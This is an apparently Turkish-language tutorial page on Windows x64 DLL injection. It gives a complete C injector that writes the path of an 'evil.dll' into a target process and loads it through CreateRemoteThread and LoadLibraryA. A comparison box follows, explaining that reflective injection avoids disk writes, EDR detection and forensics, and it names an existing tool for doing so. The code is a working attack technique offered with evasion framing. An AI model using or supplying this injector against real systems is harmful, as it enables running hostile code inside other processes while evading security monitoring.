Windows/x64 DLL Injection - LoadLibrary ve Reflective Yontemler

<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-indigo-500 pl-5 py-3 bg-indigo-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-indigo-700 mb-1">Modern Teknik - Windows x64 - DLL Injection</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Windows/x64 DLL Injection - LoadLibrary ve Reflective</h2>
    <p class="text-sm text-slate-600 mt-2">DLL Injection, hedef Windows process'ine harici DLL yukletarak kod calistirmanin en yaygin yontemlerinden biridir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">LoadLibraryA DLL Injection</h3>
    <div class="bg-slate-900 text-cyan-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
#include <windows.h>
int main(int argc, char* argv[]) {
    DWORD pid = atoi(argv[1]);
    const char* dll = "C:\\evil.dll";
    HANDLE hP = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    LPVOID m = VirtualAllocEx(hP, NULL, strlen(dll)+1,
        MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hP, m, dll, strlen(dll)+1, NULL);
    HMODULE k32 = GetModuleHandle("kernel32.dll");
    FARPROC ll = GetProcAddress(k32, "LoadLibraryA");
    HANDLE hT = CreateRemoteThread(hP, NULL, 0,
        (LPTHREAD_START_ROUTINE)ll, m, 0, NULL);
    WaitForSingleObject(hT, INFINITE);
}
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Klasik vs Reflective</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
Klasik DLL Injection:
  Disk'e DLL yazilmasi gerekir
  LoadLibrary API logu olusturur
  EDR kolayca tespit eder

Reflective DLL Injection:
  DLL bellekte kalir, diske yazilmaz
  LoadLibrary cagirilmaz
  Disk forensics'i karsi gorünmez
  Arac: ReflectiveDLLInjection (stephenfewer)
    </div>
  </div>
</div>